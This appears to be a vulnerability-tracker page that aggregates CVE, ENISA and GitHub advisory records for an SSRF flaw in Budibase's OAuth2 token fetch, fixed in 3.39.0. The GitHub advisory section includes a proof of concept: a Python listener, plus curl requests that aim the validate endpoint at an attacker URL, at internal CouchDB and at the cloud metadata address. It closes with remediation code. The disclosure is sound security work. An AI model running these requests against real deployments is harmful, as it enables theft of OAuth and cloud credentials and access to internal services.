Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection

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Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.

Source published

27 May 2026 17:00:25 UTC

Source modified

28 May 2026 14:09:35 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.

Source published

May 27, 2026, 5:00:25 PM (timezone not stated)

Source modified

May 28, 2026, 2:09:35 PM (timezone not stated)

Saved here

13 Nov 2026 13:58:51 UTC

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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.

Source published

27 May 2026 18:16:26 UTC

Source modified

17 Jun 2026 10:54:53 UTC

Saved here

25 Oct 2026 12:17:32 UTC

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CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

### Summary The OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. ### Details **Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:** ```typescript async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetch(config.url, fetchConfig) // NO blacklist check! // ... } ``` **Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:** ```typescript export async function fetchWithBlacklist(url: string, opts?: RequestInit) { await blacklist.isBlacklisted(url) // Checks against internal IPs const response = await fetch(url, { ...opts, redirect: "manual" }) // Re-checks every redirect target } ``` **Where `fetchWithBlacklist` IS used (consistency gap proof):** - `automations/steps/discord.ts` — Discord webhook - `automations/steps/slack.ts` — Slack webhook - `automations/steps/make.ts` — Make.com integration - `automations/steps/n8n.ts` — n8n integration - `automations/steps/zapier.ts` — Zapier integration - `automations/steps/outgoingWebhook.ts` — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads **Where it is NOT used:** - `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY** ### PoC ```bash # 1. Start SSRF listener python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'SSRF: {self.path} | Body: {body.decode()}') self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}') http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever() " & # 2. As builder, validate OAuth2 config pointing to internal service curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}' # Result: Listener captures POST with Authorization: Basic header containing credentials # The client_id and client_secret are leaked to the attacker-controlled URL # 3. Access internal CouchDB curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}' # Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable # 4. Access AWS metadata (in cloud deployments) curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}' ``` ### Additional SSRF Vector: REST Integration Redirect Bypass The REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: "follow"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`. **Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: "manual"` and re-checks every redirect target. ### Impact - **Internal service access** — CouchDB (default port 5984), Redis, internal APIs - **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254 - **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL - **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response) ### Remediation Replace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`: ```typescript import { fetchWithBlacklist } from "@budibase/backend-core/utils" async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetchWithBlacklist(config.url, fetchConfig) // ... } ``` Also fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.

Source published

12 Jun 2026 15:08:28 UTC

Source modified

10 Sep 2026 03:50:49 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH